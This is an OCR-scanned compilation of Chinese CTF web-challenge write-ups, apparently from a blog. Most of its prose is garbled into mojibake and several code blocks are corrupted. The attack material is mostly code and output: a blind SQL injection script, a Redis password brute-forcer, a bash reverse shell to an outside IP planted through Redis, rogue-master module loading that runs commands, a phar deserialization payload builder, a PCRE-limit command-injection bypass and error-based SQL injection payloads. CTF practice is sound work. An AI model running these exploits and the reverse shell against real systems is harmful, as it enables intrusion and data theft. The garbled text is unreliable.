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TE LB B check.php, B R

<?php
HE P RIEREFRIACHT ! T HE !
header("Content-Type: text/html;charset=utf-8");
session_start();
if(lisset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
ki
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijkimnopgrstuvwxyz0123456789ABCDEF GHIJKLMNOPQRSTUVWXYZ";
$str=";
$len1=20;
for ( $i = 0; $i < $len1; $i++ )

$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
ki
$str_show = substr($str, 0, 10);
echo "<p id="p1">".$str_show."</p>";
if(isset($_POST['num')){

if($_POST['num']===$str){x

echo "<p id=flag>#h3%, FRBAHIEETLE, 25 IRflag{roooood</p>";
ki
else{
echo "<p id=flag>¥# i Hk, FIRIRIE</p>";

ki

1

show_source("check.php");
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Sk Ersession B TH & B A FEHLA Fseed, B2 BA WAEHrand & $4E K — AN BEHLF T .

SR J5 8 B mt_srand B $UR 32 BE L F T seed 42 B — N BENLEL .

BT oRAE R —ABENL TR B Sstro SRJ5 17 B v 6 HH Sstrif BT 1047

BEERBA—num, FEHnumEstrii %N 4flag.

F—WHHAmMt rand )R EHIRE, BERE—TRAGEEEMN. GEMEdEmt srand)EETHRK) , UM FERE, B
THI A2 3 B BE AL BB 2 AR A X N BE LD 7 A2 B

It ARRATT L 5 R AR U8 R H 44 HH B BT 1 OB IR B FENLFY Fseed, RJEMHXAFTBEIEEstrEEfag.

e b A HOE 4 iphp_mt_seed BE R HIHE =X

str1="abcdefghijkimnopgrstuvwxyz0123456789ABCDEF GHIUKLMNOPQRSTUVWXYZ'
str2='6QzPslskVa’
str3 = str1[::-1
length = len(str2
res="
foriin range(len(str2
for j in range(len(str1
if str2[i] == str1][j
res+=str(j)+' "+str(j)+' '+'0'+ "+str(len(str1)-1)+""
break
print res

iX B E A —php_mt_seedfif#

ERFERKAAERT, Ea@EEmt_rand 2 — K H FE FHRmt_randfseed, EFERmEIER P ERITERARE —KiH K
O B s L Bt R A L

mt_rand & $ f 59: \PHP 3.0.6 7 465k — BEL7EZ8 4k, php_mt_seed 4.0 SZ#F A T JLANKHIMRA: PHP 3.0.7 t05.2.0, PHP 5.2.1
to 7.0.x, and PHP 7.1.0+

php_mt_seedE F 4171817, WATAILMER, 2, 4EAELZHSH . XESHFEFEM P HAmMt_rand()FI%HH .
—NSHEIE D

YRE-ANSHEHIEHE, EANSEREmt_rand 5 — K5 H IME .

NS

LEH SRR, AT Rmt_rand % — i R %A T4 X IE A
F—NSHRBME, BANASHNBRKE.

AN SH (FEAERD

AN SR AmMt_randE — kA H X E, FHEASHRZAmt_rand¥ 1) X 6 .
ZFHASH (REHERD

BUANSH—H, BERREATUR, 2841MSH. §F—H5 AR .

H RS
6606157570613232061333306115150613232061101006115150615050061 10100 61
XEF40ME, WA—H, 104, BEEAKRN, HRREEE KA AR H .

PR TR TR RS B P 7 9492074357

J ./php mt seed 6 6 @ 61 57 57 O 61
001333300115150013¢3¢00110100011515001505000110

Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 E
XACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62

Version: 3.0.7 to 5.2.0

Found @, trying 0xfcoeeeae - exffffffff, speed 1565.9 Mseeds/s

Version: 5.2.1+

Found 0, trying 0x1cO06000 - 0x1dffffff, speed 61.1 Mseeds/s

seed = 0Ox1d547575 = 492074357 (PHP 7.1.0+)

Found 1, trying 0xfe@oeead - oxffffffff, speed 61,2 Mseeds/s .
S o589 %63 netishuaicenglousoa2




WRIE Pl F A Ristr(X BEPHPRRAE K F&£F7.1):

WESIE A code

<?php
mt_srand(492074357);
$str_longl defghijklmnopgrstuvwxyz8123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ™ ;
$str="";
$leni=20;

(31 - 0; $i < $len1; $i++ )

$str.=substr($str longl, mt rand(®e, strlen($str longl) 1), 1);

il

1

¥
echo($str);
?>

run (ctri+x) | I\ | Copy = SE=AIEE S BILKIR

® XFHFRAER O htmBRETR

‘gVﬁ?p@prkJQBGhVRHiD

317 2lflag.
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MRE XA T . X8 S FFERL A E 2lfag. HENREE R
3.[CISCN2019 %1t %X Day1 Web2]ikun

2% pickle X FFFILAIHR
X R pythont) [ FFFIALIRTR, BiARESE EEKCE.
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https://xz.aliyun.com/t/7436#toc-0

KRR —NEE, BAELEEMRET

payload:http://76bf79d4-aa8f-4244-85bb-f6a852e60591.node4 .buuoj.cn:81/?stunum=38|((if((database()=%27ctf%27),1=2,1=1))—+
19 2 B4 P 4 At

payload:http://76bf79d4-aa8f-4244-85bb-f6a852e60591.node4 .buuoj.cn:81/?stunum=8||
(if(62=ASCII(SELECT(SUBSTR(GROUP_CONCAT(table_name),8,1))FROM(information_schema.tables)WHERE (table_schem
a='‘ctf)))),1=2,1=1))

RIMAE25%K: flag,score.

i EflagE Hivalue 7 Bt E 5 15 Blflag.

get column

csdn.net/shuaicenglou

P Run iE 30 O Problems B3 Terminal hT'@

558 python2/ LS 3N T
it B XA AR IR L #sqimap—#18, EHMENENETREES, FHEFSREEN.

#!/usr/bin/env python3

# -* coding: utf-8 -*

import requests

# FEA

def main():
url = "http://76bf79d4-aa8f-4244-85bb-f6a852e60591.node4.buuoj.cn:81/"
HX = "exists"
get_databasename_HX(url, HX)
get_tablename_HX(url,HX'ctf")
get_columnname_HX(url,HX'flag")
get_table_data_HX(url, HX 'flag’, 'value')



HIRTE [B] 12 BV TE E HHEHR I & FERIGH I
def get_table_data_HX(url, HX table_name, column_name):
data_group_length = 0;
for i in range(1, 64):
payload = url + "?stunum=8||(if(("+str(i) + "=(SELECT (length(group_concat("+column_name+")))FROM("+table_name+"))"+"),1=2,1=1))"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text find(HX) !=-1:
data_group_length =i
break
if data_group_length == 0:
print("E I FERACEE R, FRFLAR")
return -1
else:
print("##E K /" +str(data_group_length))
data =""
foriin range(1, data_group_length+1):
for j in range(32,128):
payload = url + "?stunum=8l||(if(("+str(j)+"=ASCI(SUBSTR((SELECT(GROUP_CONCAT ("+column_name+"))FROM("+table_name+")),
"+str(i)+",1))"+"),1=2,1=1))"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) !=-1:
data += chr(j)
print data
HIRH [F] 2 B V78 E H R FERAE
def get_columnname_HX(url, HX table_name):
column_group_length = 0;
foriin range(1, 32):
payload = url + "?stunum=8||(if(("+str(i) + "=(SELECT (length(group_concat(column_name)))FROM(information_schema.columns)WHERE(
(table_name)=("" +table_name + ")))"+"),1=2,1=1))"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) = -1:
column_group_length =i
break
if column_group_length == 0:
print("EE FRKERM, BFLEKR")
return -1
else:
print ("7 B " + str(column_group_length))
columns =""
foriin range(1, column_group_length + 1):
for jin range(32, 128):
payload = url + "?stunum=8}||(if("+str(j)+"=ASCII((SELECT (SUBSTR(GROUP_CONCAT (column_name),"+str(i)+",1))FROM(informatio
n_schema.columns)WHERE((table_name)REGEXP('"+table_name+"))))"+",1=2,1=1))"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text find(HX) |=-1:
columns += chr(j)
print(columns)
break
print(columns)
return 1
#IRH B2 B IR R IS
def get_tablename_HX(url, HX db_name):
table_group_length =0
foriin range(1, 32):
payload=url+"?stunum=8||(if(((SELECT(LENGTH(GROUP_CONCAT (table_name)))FROM(information_schema.tables)WWHERE(table_sche

ma=""+Ah nama+"\\="+ctr/i\+"\ 1=2 1=1\\__4"



DOLT =G RSOSSN = 0—t=p U—U )]
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) !=-1:

table_group_length =i
break
if table_group_length == 0:
print ("EEEIEER KM, EFLER")
return -1
else:
tables =
foriin range(1, table_group_length + 1):
for jin range(32,128):
payload = url + "?stunum=8||(if(("+str(j)+"=ASCII((SELECT(SUBSTR(GROUP_CONCAT (table_name),"+str(i)+",1))FROM(information_
schema.tables)WHERE(table_schema=""+db_name+")))),1=2,1=1))"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text find(HX) !=-1:
tables+=chr(j)
print(tables)
break
print(tables)
return 1

# IR 5] 2 5 7 RS 5

# database_len_payload: #R ¥ # /% 4 K & Fpayload, HITHE

# database_name_payload: # R # & 4 Hpayload, B 1TH.&

# HX: a7 25 2R 11 19 [ 2

def get_databasename_HX(url, HX):

db_name =
database_len = 0 # 075 /&4 1 K/E
foriin range(1, 32):
payload = url + "?stunum=8||(if((length(database())="+str(i)+"),1=2,1=1))--+"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) = -1:
database_len =i
break
if database_len == 0:
print(" BB K BRI, P&
return "-1"
else:
print("¥#E E KN + str(database_len))
foriin range(1, database_len + 1):
for jin range(1, 128):
payload = url + "?stunum=38||(if((ascii(substr(database(),"+str(i)+",1))="+str(j)+"),1=2,1=1))--+"
result = requests.get(payload)
if result.text find(HX) |=-1:
print("RILE" + str(i) + "HL:" + chr(j))
db_name += chr(j)
break
print("$ ¥ E 4 N %s" % db_name)
return db_name
if _name__=='_main_ "
main()

5.[BSidesCF 2019]Kookie



Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

GET /?action=loginfusername=adninkpassword=12345 HITP/1.1

Host: 4fa5e670-d768-42he-ac85-hA3e1bc88178. noded. buuoj. en: 81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: =64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html, application/zhtml+xnl, application/=nl; q=0.9, image/webp, #/*: q=0. 8
Accept-Language: zh-CN, zh:q=0. 8, zh-TV; q=0. 7, zh-HE ; g=0. 5, en-US: ¢=0. 3, en: q=0. 2
Accept-Encoding: gzip, deflate

Connec Bl e

ReTerer: http://4fabef70-d768-42he=
ookie: username=admin
Upgrade-Insecure-Requests

GO e W e

Bsp63e1bc88178. noded. buuoj. en: 81/

o

1

6.[SWPU2019]Web2

ganiwmiT [
1 <html>
2 | <head>
3 <titlerDeserializationd/titler

{stvler

.main{
text-align: center: /[
background-color: #fff;
border-radius: 20px;

000 = U

10 width: 300px;

11 height: 350px;

12 margin: auto;

13 position: absolute;
14 top: O;

15 left: 400px;

16 right:

17 bottom: 0;

181

19 </styd
20
21
22
23
24
25

body>
|- R4 8 "Redts——>
Shtml >

[SWPU2019]\Web2

100
FREEENEEAL.

Instance Info

10
11E <html>
128 <head>

13 <title>Kookie! </title>

14 <link href="/css/style.css” rel="stylesheet” />

15 <link href="/css/bootstrap. min.css” rel="styleshest” />
18 </head>

178 <body>

18 <content

183 <div class="container”>

<hl>Can you log in?¢/hl>

2 <py
23 Log in as <ttradmin</tt>

24 [</p>

9

6 <pr

27 We found the account <ttrcockie</tt> / <{tt’menster</tt>

28 /p>

30 <div class="challenge rounded >

31E  <div class="messagebox’ >

3z

338 <div class="alert alert-info” role="alert”>

34

35 “prCongratulations! You re logged in as <span class="highlight’ >a

tlag {a988128e-a923-4457-8844-FaTfb7£65152} </ span></p>

<fdiv>

=

L DL W

<{meta http-equiv="Content-Type” content="text/html; charset=utf-2* />

p class="main” style="font-fimily:arial color:black;font-size: 100px; “><em>Vel come, admind/ em><, p>



Remaining Time: 10458s

http://ea40ead2-0426-4e5d-bf22-
456db8a697%a.noded.buuoj.cn:81
ead40ead2-0426-4e5d-bf22-
456dbB8aé97%9a.noded.buuoj.cn:29618

Destroy this instance

56db8a6979a.node4 . buuoj.cn -p 29618

79a.node4 . buuoj.cn: > auth "password’

6979a.node4 . buuoj.cn:?2 8> info

redis_build_i
redis_mode:s
os:Linu
arch_bit

ETRANEALELRN, WTUERARRHEOS, ENERIPABEES BRSO AL, — MR, XBEREEE 0
L AR e — T



#!/usr/bin/python3
# -* coding: utf-8 -*-

@Author: fir kARG, JR/EE : rOcky
import socket
import sys
passwds = ['redis','root','oracle’,'password’,'p@ssw0rd','abc123!",'123456','admin’,'abc123']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
#print u"[INFO] connecting " + ip + u":" + port
s.connect((ip, int(port)))
#print u"[INFO] connected "+ip+u":"+port+u" hacking..."
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"IP:{0}FZ7E R $Z AL " format(ip)
elif "Authentication" in result:
for passwd in passwds:
s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(passwd))
# print u"[HACKING] hacking to passwd --> "+passwd
result = s.recv(1024)
if 'OK" in result:
return u"IP:{0} fF7E85 04, . {1}".format(ip,passwd)
else:pass
else:pass
s.close()
except Exception:
pass
if __name__ ==
# default Port
port="29618"
ip = 'ea40ea42-0426-4e5d-bf22-456db8a6979a.node4 .buuoj.cn'
result = check(ip,port,timeout=10)
print(result)

_main__":

BZ#E L Tredis, HBRHMRAR4.0.14, XEMEHTH:

RedisR# AL H#E4 .x/5.0 5LARTRA T, AT LM Fimaster/slavetE Rz fEsisk, @3 s S8R ER T RPITHEEN L.
THREXE

EH —Fh R S shellif) 772 :

root@kali:~/Desktop/test# redis-cli -h 192.168.93.128

192.168.93.128:6379> set x "bash -i >& /dev/tcp/192.168.93.170/7999 0>&1\n"
OK

192.168.93.128:6379> config set dir /var/www/html/

OK

192.168.93.128:6379> config set dbfilename ncshell

OK

192.168.93.128:6379> save

OK

192.168.93.128:6379> exit

113 Bvpsi@idnc b U iw B R 3 E K Hshell
nc -lvnp 7999


https://github.com/vulhub/redis-rogue-getshell

g TREIMMMERPITHAZ)E, AT cat flag.txt&flag:

root@10-255-1-103:/home/redis# python3 redis-master.py -r f732adf6-8c@c-4d69-b811-ed3cadca537e.node4.buuoj.cn -p 29301 -L -a password -P 8889 -
f RedisModul ‘-D p.so -c "cat /flag.txt"
b \r\n$4\r\nAUTH\r\n$8\r\npassword\r\n’

: b'+0K\r\n'

send data: b \r\N$7\r\nSLAVEOF\r\n$13\r\n116.85.16.200\r\n$4\r\n8889\r\n'

recelve data: b'+0K\r\n'

send data: r\An$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n’

receive dat. "+0K\r\n'

receive data: b'PING\r\n'

recelve data: b'REPLCONF listening-port 6379\r\n’

recelve data: b' CONF capa eof capa psync2\r\n'

receive dat. ! 6579d94b41dcdd42756919765e34093b157956b9 1\r\n'

send data: b \r\nMO[llILE\ \n$4\r\nLOAD\r\n$8\r\n. /exp.so\r\n'

recelve data:

send data: b

recelve data:

send data: r \r\ndump.rdb\r\n’

recelve dat ! r

send data: \l\ni.ll\r\|1<y<tem exec\r\n$13\r\ncat /flag.txt\r\n'

receive d b* $49\r\n\x80\xedx}3\x7fflag{86T30132-4a01-4028-be5a-7c00d8fd6712}\n\r\n"
x}flag{86f: -4a01-4028-beba-7c00d8fd6712}

end da‘ta r\n$6\r U r\An$6\r\nUNLOAD\r\n$6\r\nsystem\ri\n’

g.csdn.net/shuaicengl

Xfjava @R EAERAB R .
i 19 http://158f7334-3b72-42¢9-9272-a4€61541c85e.node4 .buuoj.cn:81/cffffff/

ol —9 SZENFRAE

PNERFASKNIZESR, FEAFEREENENATHEESNER! HifARK!
SH=EEINE A= EEE

an BRFR e IE{L hE 1% KREAR
- g =] 0.097 A #R{lim QQ: 4399219209

EE 'R 0.105T FA RARET QQ: 52486486
) EE & 00941 i ERE QQ: 931299220
L] = B 0.3T gt RARET QQ: 9443321102
h BE TR 0.86T Kl S5 BRIRET QQ: 932193244
r

N I & 01T IERSS/N HRAET QQ: 52486486
INE I 01T 1EALS/N HRAET QQ: 52486486

MM, I & 01T 1EAES/N HRET QQ; 52486486

6 H14

N F s 0.1T 1EAZ5E/N HRAET QQ: 52486486

MM I & 01T 1EAES/N HRRET QQ; 52486486

B

https://www.anquanke.com/post/id/194640#h3-5



HEZEEM EMZEER, BERZBEMEIN, ZRIN T LR T HIFR:

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST /download.php HITP/1.1
Host: 73ac4200-0953-40be—aebb-a7306c14257h. noded. bunoj. cn: 81
User—Agent: Mozilla/5.0 (Windows NT 10.0; WinB4, x64; rv:91.0)
Geclko/20100101 Firefox/91.0
Accept
text/htul, application/zhtnl+zul, application/=nl . g=0. 9, inage/webp, */*; ¢=0
.8
Accept-Language:
zh—CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HE ; g=0. 5, en-US; g=0. 3, en; q=0. 2
Accept-Encoding: gzip., deflate
Content-Type: application/z—www-form-urlencoded
Content-Length: 24
Origin: http://73ac4200-0953-40be-aefb—a7306c14257h. noded. buuej. cn: 81
0 Comnection: close
11 Referer

http: //73ac4200-0053-40be-aefb-aT306c14257h. noded. buuoj. en: 81/ index. php
12 Cookie: UM_distinctid=
17960395e733c3-0f5fa26b81086a-4c3f2cT2-1£a400-17960395e74391; PHPSESSID=
c28233cf38c1ab4dT3£35113a4799a2

=l R

w -1 @

13 Upgrade-Insecure—Requests: 1
4
15 filename=../../index. php

EHe TR M php & FERER. #it—T.
& F&download.php GXEARKER T —TF) -

<?php

include "class.php";

ini_set("open_basedir", getewd() . ":/etc:/tmp");
chdir($_SESSION['sandbox]);

$file = new File();

$filename = (string) $_POST['filename'];

e

10

20

W0 -1 Gy U1 LD B3

1 Ol L3R

LW W LD G L L3 LW R3 L3 P2 L3RI P ba b

e
e

£3 ¢

[ .
R T

X-Powered-By: PHP/E. 6. 40
Content—Length: 1163

< 7php

session_start ()

if (!isset ($_SESSTON(' login'1)) {
header ("Location: login.php”):
diei):

<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport” content="width=device-width. initial-scale=1, shrink-to-fit=no">
CtitlerRIAEE A titler

<head>
<link href="static/css/bootstrap. min. css” rel="stylesheet”>
<link href="static/css/panel.css” rel="stylesheet”:
<seript sre="static/js/jquery.min. jz"</script>
<script sre="static/js/bootstrap.mdle. nin. js"></script>
<script sre="static/js/toast.js"></script>
<script sre="static/js/panel. 357> </script>

</head>

<hody>
“nav aria-label="breadcrumb”>
<ol class="hreadcrumb”>
<1i class="breadcrumb—item active”> T FEMEEI/11i>
<1i class="breaderumb—item active”><label for="fileInput” class="fileLabel”> F{E rff</label»</1
<1i class="active ml-auto”»<a href="2">{1if <Iphp echo $_SESSION[ username’ 17:</a></1i>
<ol
</nav>
<input type="file” id="fileInput” class="hidden">
<div eclass="top” id="toast-centainer”></div>

if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {

Header("Content-type: application/octet-stream");

Header("Content-Disposition: attachment; filename="". basename($filename));

echo $file->close();
}else {
echo "File not exist";

}

7>

BEE BB/ EKclass.php:

<?php
error_reporting(0);
$dbaddr ="127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname)
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
ki

public function user_exist($username) {

)

$stmt = $this->db->prepare("SELECT “username’ FROM “users” WHERE “username™ = ? LIMIT 1;");



$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {

return false;

}

return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SIAchGHmMFX");
$stmt = $this->db->prepare("INSERT INTO “users’ (‘id", ‘username’, “password’) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify _user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SIAchGHmMFX");
$stmt = $this->db->prepare("SELECT “password” FROM “users® WHERE “username’ = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;

}

return false;

}

public function __destruct() {
$this->db->close();

}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();

}

public function __call($func, $args) {



array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();

}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover s
m-font">";
$table .= '<thead><tr>";
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">" . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>";
foreach ($this->results as $filename => $result) {
$table .= '<tr>";
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="". htmlentities($filename) . ""><a href="#" class="download">F #</a> / <a href="#" class="d
elete">Mlkr</a></td>";
$table .= '</tr>";
}

echo $table;

}

class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && lis_dir($filename)) {
return true;
}else {
return false;

}

public function name() {
return basename($this->filename);

}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];

}

public function detele() {
unlink($this->filename);

}

public function close() {
return file_get_contents($this->filename);

?>

FF Fdelete.php:



<?php

include "class.php";

chdir($_SESSION['sandbox]);

$file = new File();

$filename = (string) $_POST['filename'];

if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" =>"");
echo json_encode($response);

} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);

}

7>

FileixANK B A —/Nclose 7= v AEX B #3E, UserRHfEfEcloseiiE, F H iy e Xt G484 S5t $4T,

B FileLisZRH ZEcal AL, FHF B A closeiik. WR—Filelistid R T close() /7%, R#FEcaly ik MRS A LL%n
&, SCHFHclose FESBHAT, B e Fflag.

Freln Rl —MUserkx R, HdbZER—/FileListd R, WRAPKIML Aflaghihr B . XHEHIE, Zuserst R4
i, dbAZEHIcloselT ik HIMAT; MdbREE A closeliik, XHMafhRcallERT A, BN T HATFilext R Hicloser k.

Bt A HrFileListRIIHT # 5 ¥ETT LLAIE, close i kAT G FEresultsZ & B 45 RN\ BltableZ & 43T ED R, ik Eflag
SHEATEN K .

php— K HR 7 I 3 2 25 bR 738 1 phar://D Th SU#HTphar ST, 2 K meta-datai# 1T 7514k

FrABRATTH B Bt 2443 DA T payload it b iR id FE SE L :



<?php
class User {
public $db;
b
class File {
public $filename;
ki
class FileList{
private $files;
private $results;
private $funcs;
public function __construct(){
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
ki
ki

$a = new User();

$a->db = new FileList();

$phar = new Phar("phar.phar"); ///54¢-4 220 ~phar
$phar->startBuffering();

$phar->setStub("GIF98a"."<?php _ HALT_COMPILER(); ?>"); /# & stub, i ] LIFEXE I NIGIFI8a &L L 5818 XL M HT L 18 &
$phar->setMetadata($a); /# B & X fmeta-datafE Amanifest, X B R ZFHIH O FEE

$phar->addFromString("exp.txt", "test"); /ZS H1E/E 45 19 X 1
Ve ZA=E /e A

$phar->stopBuffering();

7>

BT EIRARES X B 7 B 2 3 i php ¥R 55 5 B php.ini SC14 B TH 5 B phar.readonly = Off) A= —>.pharsc 4R g B4, FEMIER A
I FH pharfy PrSGHATAEMT,  7E r o B BRI AN SCERT, pharsC i W B SN R FFI1k, SR 5% R 44 8t dbZE & iiclose /7
EWHAT; TWdbZBE K A close ik, XSt KcalllEARTTEE, BEMAR T HATFileXt S Hiclose 7%,

ashboard | Target | Proxy | Intruder | Repeater T Sequencer T Decoder Tcnmpaver T Extender T Project options I User options ]

B -2 .

L|v || >]v

Send Cancel

:quest

law | Params | Headers | Hex

Target: http:/i73ac4200-0953-40be-ae6b-a730t

Response

Raw | Headers | Hex

POST /delete. php HITP/1.1

Host: 73acd200-0953-40be-asbb-aT306c14257h. noded. buuoj. cn: 81

User-Agent: Wozilla/5.0 (Windows NT 10.0: Winf4: =64 rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*

Accept-Language: zh-CN, zh:q=0. 8, zh=T¥: q=0. 7, zh-HK : q=0. 5, en-US : ¢=0. 3, en:q=0. 2
Accept-Encoding: gzip. deflate

Content-Type: application/s-wiw-forn-urlencoded: charset=UTF-§

{-Requested-Fith: XMLHttpRequest

Content-Length 30
Origin: 132042
Cor

c40be-aefb-aT7306c14257h. noded. buuoj. en: 81
1on: clese
erer: http://73acd200-0953-4 2e6h-a7306c14257h. noded. buuoj. en: 81/index. php

ookie: UM_distinctid=17960395e733cN0f5faZ6b81086a-4c3f2cT2-1£a400-17960395e74391; PHPSESSID=c28233cf38c1ab4d73£35113a4799ae2

i lenane=phar: //15) pne/ exp. txt

9.[FBCTF2019]RCEService

T

10
11
12

HITP/1.1 200 OK

Server: openresty

Date: Sun, 22 Aug 2021 08:41:12 GHI

Content-Type: application/json

Comnection: close

Cache-Control: ne-store, ne-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu. 19 Nov 1981 08:52:00 GHT

Pragma: no-cache

N-Powered-By: PHP/S5. 6. 40

Content-Length: 487

{"success”:true, “error”: *"} <div id="container” class="container’>{div class="table-responsive’ >
“table table-bordered table—hover sm—font”><thead><tr><th scope="col” class="text-center”>close:
“text-center” »0pt</th></thead><thody><tr><td class="text-center”>flag{dadd280a-81b6-4195-91f4-ef

3 4/td><td class="test-center’ filename="flag.txt’>‘a href="%" class="download > F#</a> / <a href

td></tr> —



Web Adminstration Interface

Attempting to run command:
index.php

Enter command as JSON: |{"emd""Is"}

ZRT —TF{'cmd" sV X BARCE, HEXEBHEE, BEEN, FHHEEARNEBREAME, HwpiiX 2K FCTFHE, iR
4 T IEY:

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd")) {
$json =$ REQUEST['cmd'];
if (lis_string($json)) {
echo 'Hacking attempt detected<br/><br/>";

} elseif (preg_match('/*.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echolenable|evallexec|ex
itlexport|fclfg|getopts|hash|help|history|ifjobs|kill|let|locallogout|popd|printflpushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|ti
mesl|trapltypeltypeset|ulimitjumask|unalias|unset|untiljwaitjwhile|[\x00-\x1FA-Z0-9!#-\/;-@\[-" |~\x7 F]+).*$/", $json)) {

echo 'Hacking attempt detected<br/><br/>";

} else {

echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if (5cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
¥
echo '<br/><br/>';
}
}

X B R 4t preg_match.

XA 2M I, —MREFIH%0a, 7 —F2E#ISeE 10075 1 1R ik & $UR Ffalse .
5] 35 (1 J& B B 3% B PHP ) I P C RE [B] 3 vk i BB s 5% 5k 5t skl 22 4 P 46

exp:

import requests

url="http://db432f1c-dff4-4d88-bade-87dcd4cced74.node4.buuoj.cn:81/'
data={

‘cmd":'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a"*1000000+"}'
!
r=requests.post(url=url,data=data).text
print(r)


https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

0 :E'J R ow

H—MINERZITSRIL %0a:

4L Fpreg_match("/A flag. /” ,omd XA IR ILES, BRIA R LRSS —AT
?cmd=%0acat flag B[l 7] St

Forh %0a 2 B 2 He 4T R K urZ 5 .

exp:

?cmd={*cmd”:"/bin/cat /nome/rceservice/flag"%0a}%0a%0a
?cmd=%0a{“cmd”:"/bin/cat /home/rceservice/flag"%0a}

10.[RCTF2015]EasySQL

BUCE LA REEEN -

username=
test” ‘updatexml (1, concat (0xTe, (select (group_concat (table _name) ) from{information_schema. tables)where(table_schema=database()))), 1)
ZEkpassword=1l&email=1

oldpass: | |

newpass: | |

Submit

XPATH syntax error: '~article,flag,users’

"4

username=
test” | |updatexml (1, concat (0xTe, (select (group_concat (column name) ) from(information schema. columns)where (table_name="user’ ) ) ), 1) &k
1:assword=1&email=1|

XPATH syntax error: '~Host, User,Password,Select_priv,’

BV BA:

=test" updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name%3d'use
rs')%26%26(column_name)regexp('’t"))),1)#&password=1&email=1



oldpass: | |

newpass: | |

Submit

XPATH syntax error: "real flag 1s_here'

iEflag:

username=test" updatexml(1,concat(0x3a,(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('/f')
), 1)#&password=1&email=1

username=test"updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('/f'))),1)#&pa
ssword=1&email=1

11.[HITCON 2017]SSRFme

<?php

if (isset($_SERVER['HTTP_X FORWARDED_FORY)) {
$http_x_headers = explode(,', $_ SERVER['HTTP_X_FORWARDED_FOR));
$_SERVER['REMOTE_ADDRY] = $http_x_headers[0];

ki

echo $_ SERVER['REMOTE_ADDR'"];

$sandbox = "sandbox" . md5("orange" . $_SERVER["'REMOTE_ADDR"]); //£&/H"orange"+ip #hl-i1-E #42

@mkdir($sandbox); /IR ERE— 1 LITES AR E F R H F

@chdir($sandbox);  /EJ#F 25 5] H 7

$data = shell_exec("GET " . escapeshellarg($_GET["url"])); /getistiK

